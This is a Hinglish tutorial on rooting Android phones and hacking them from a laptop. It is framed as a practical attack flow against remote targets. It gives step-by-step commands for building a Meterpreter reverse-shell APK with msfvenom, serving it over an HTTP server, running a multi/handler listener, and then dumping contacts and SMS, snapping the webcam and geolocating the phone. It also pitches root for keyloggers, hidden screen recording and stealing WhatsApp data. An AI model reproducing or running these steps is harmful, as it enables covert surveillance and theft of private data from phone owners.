

Why Root / Jailbreak?

(Practical Attack Flow)

Root Kya Hai?

Root ka matlab hai Android phone ka full control lena. Jaise PC mein aap Administrator ban jaate ho, waise hi phone mein root ke baad aap system files, apps, passwords, sab kuch modify kar sakte ho.

Root Ki Zaroorat Kyon Hai Hacking Ke Liye?

Bina root ke:

System apps nahi dekh sakte

Kisi app ke private data (WhatsApp messages, passwords) nahi nikal sakte

Metasploit ke kuch post-exploitation features nahi chalte

Root ke baad (God mode):

Kisi bhi app ki database file copy kar sakte ho

Screen recorder background mein bina pata chale chala sakte ho

Keylogger install kar sakte ho

WiFi password nikal sakte ho

Remote access backdoor ko permanent bana sakte ho

Apne Phone Ko Root Kaise Karein? (Step-by-Step)

Warning: Sirf apne phone par karein. Pehle backup lein.

Method A – Magisk (Modern Way)

Bootloader unlock karein:

Samsung: OEM unlock in developer options (7 days wait)

Xiaomi: Mi Unlock tool

Pixel: fastboot oem unlock

Magisk APK download aur install karein.

Stock boot image nikaal kar Magisk se patch karein.

Patched image flash karein:

fastboot flash boot patched_boot.img

Reboot karein – root ho gaya.

Method B – One-Click Root Tools (Old phones)

Kingroot, iRoot, OneClickRoot – install karo, ek button press karo.

Check root: Play Store se "Root Checker" app install karo.

Real Attack Flow – Remote Target (Dusre Mulk Mein Betha) Ko Kaise Hack Karein?

Pehli baat samajh lo: Aap directly kisi ke phone ko remote se root nahi kar sakte. Toh attacker ye karta hai:

Step 1: Target ke phone mein bina root ke ek backdoor (malicious app) pahunchao.

Step 2: Us backdoor se remote access lo (Meterpreter session).

Step 3: Phir session ke andar root exploit chalao (agar phone vulnerable ho).

Step 4: Root na mile to bhi camera, location, SMS, contacts sab mil sakte hain.

Laptop Se Mobile Hack Karne Ka Sabse Asaan Tareeqa (For Beginners) Kya Chahiye?

Ek laptop (Windows, Linux,)

1: Ek doosra Android phone (apna purana phone ya friend ka phone – unki permission se)

2: Dono ek hi WiFi par hon (ya laptop ka hotspot bana lo)

Step 1: Laptop Mein Kali Linux Install Karo (Ya VirtualBox Mein Chalao)

Windows users: VirtualBox download karo, Kali Linux ka ISO file dalo.

Linux users: Already Kali hai to terminal kholo.

Agar Kali nahi hai to Windows mein Termux bhi use kar sakte ho (thoda mushkil hai).

Sabse easy: VirtualBox + Kali Linux (YouTube dekh lo, 10 minute ka kaam hai).

Step 2: Kali Linux Terminal Kholo

Desktop par right click → "Open Terminal"

Ya **Ctrl + Alt + T**

Dikhega: kali@kali:~\$

Step 3: Apni Laptop Ki IP Address Pata Karo

Terminal mein likho:

text

ip a

192.168.x.x wali IP dekh lo (jaise 192.168.1.5). Likh kar rakh lo.

Step 4: Evil APK Payload Banao

Terminal mein ye command likho (apni laptop ki IP daal kar):

text

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o evil.apk

Samjhao:

192.168.1.5 – tumhari laptop ki IP

4444 – port number

evil.apk – file ka naam

Enter daba do. Kuch seconds mein file ban jayegi.

Step 5: Evil.apk Ko Apne Doosre Phone Mein Bhejo

way 1 (Simple):

USB cable se phone laptop se connect karo.

Phone mein evil.apk copy karo (Downloads folder mein).

way 2 (Easy):

Laptop mein HTTP server chalao:

text

python3 -m http.server 8000

Ab phone ke browser mein likho: **http://192.168.1.5:8000/evil.apk**

Download ho jayegi.

Step 6: Phone Mein App Install Karo

Phone mein:

Settings → Security → Unknown sources allow karo (ek baar karna padta hai)

evil.apk par tap karo → Install → Open

Kuch nahi hoga dikhai – ek blank screen aayegi, kuch seconds baad band ho jayegi.
Normal hai, background mein connection bana raha hai.

Step 7: Laptop Par Listener Chalao (Connection Pakadne Ke Liye)
Terminal mein naya tab kholo (Ctrl + Shift + T) aur ye likho:

text

msfconsole

msf6 > dikhne ke baad ye commands likho:

text

use multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 192.168.1.5

set LPORT 4444

exploit

Ab laptop "wait" kar raha hai.

Step 8: Jab Phone App Open Karoge – Session Mil Jaayega
Phone mein woh blank app open karo ek baar.
Laptop terminal mein dikhega:

text

Meterpreter session 1 opened

Ab tum phone ke andar ho. Ye commands try karo:

text

dump_contacts

dump_sms

webcam_snap

Geolocate.
